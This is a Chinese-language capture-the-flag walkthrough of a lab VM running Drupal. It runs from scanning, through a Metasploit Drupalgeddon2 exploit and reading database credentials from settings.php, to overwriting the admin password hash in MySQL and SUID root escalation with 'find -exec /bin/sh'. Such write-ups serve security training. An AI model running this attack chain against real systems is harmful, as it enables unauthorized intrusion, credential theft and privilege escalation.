1 信息收集
1.1 主机发现
arp-scan -l
主机ip地址为:192.168.1.4
1.2 端口服务扫描
nmap -sS -sV -A -T5 -p- 192.168.1.4
开发22,80,111端口
1.3 目录扫描
dirsearch -u 192.168.1.4
2 渗透测试
2.1 先访问一下80端口 发现是一个CMS 下标有个Drupal
2.2 搜了一下相关的drupal 漏洞
search drupal
2.3 利用漏洞插件进行攻击
use exploit/unix/webapp/drupal_drupalgeddon2 set rhosts 192.168.1.4 run
2.4 漏洞利用
进入后渗透模块 ls
查看 有i个flag1.txt
cat
一下 提示:让我们看一下配置文件 durpal配置 /sites/default/settings.php
进入durpa配置文件在 settings.php
发现 flag2
和数据库一些信息
cd sites/default/ ls cat settings.php
使用netstat -anptl
查看3306是否开放,结果只允许本地连接
写一个python交互:
python -c "import pty;pty.spawn('/bin/bash')"
然后登入数据库 mysql -u 用户名 -p 密码
即可。
mysql -u dbuser -p R0ck3t
show databases; ##列出数据库 use drupaldb; ##使用drupaldb库 show tables; ##查看里面的表
发现有个users表,大胆猜测里面就是用户了,查看一下
select * from users;
$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ $S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ
这个时候想要知道密码就很头疼了,能想到的也就两个思路,要么修改密码,要么添加新用户。在这里我用的是修改密码。 首先我们要知道加密方式,然后利用加密方式设置新密码,自动生成密文,然后更改数据库里的密文即可,此时我灵光一现直接百度参考drupal数据库存放用户密码的加密脚本文件,直接就找到了。
/var/www/scripts/password-hash.sh
我们exit退出数据库,然后查看一下
还真有,这就好办了,直接设置密码生成密文就好了。
php /var/www/scripts/password-hash.sh password
后面那一串密文就是我们加密过的密码,此时我们把它复制一下,重新进入数据库更改admin用户的密码
update drupaldb.users set pass="$S$DrKONtJsaTqIyRcBMT2ZseHVp1Rq1tpcJwM8.49a5rnTJAqpwGLK" where name="admin"; ##修改密码
此时我们直接在web端的登陆页面用admin登进去,就可以随意查看网页了。
Flag3提示词有perms、find、-exec、shadow
共四个特殊提示词
3 提权
cat /etc/passwd 发现了一个用户 `flag4
3.1 suid提权
这里我们就要用到find命令了,利用suid提权
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
以上三条命令都可以查看到具有suid权限的文件
使用find命令提权
find ./ aaa -exec '/bin/sh' \;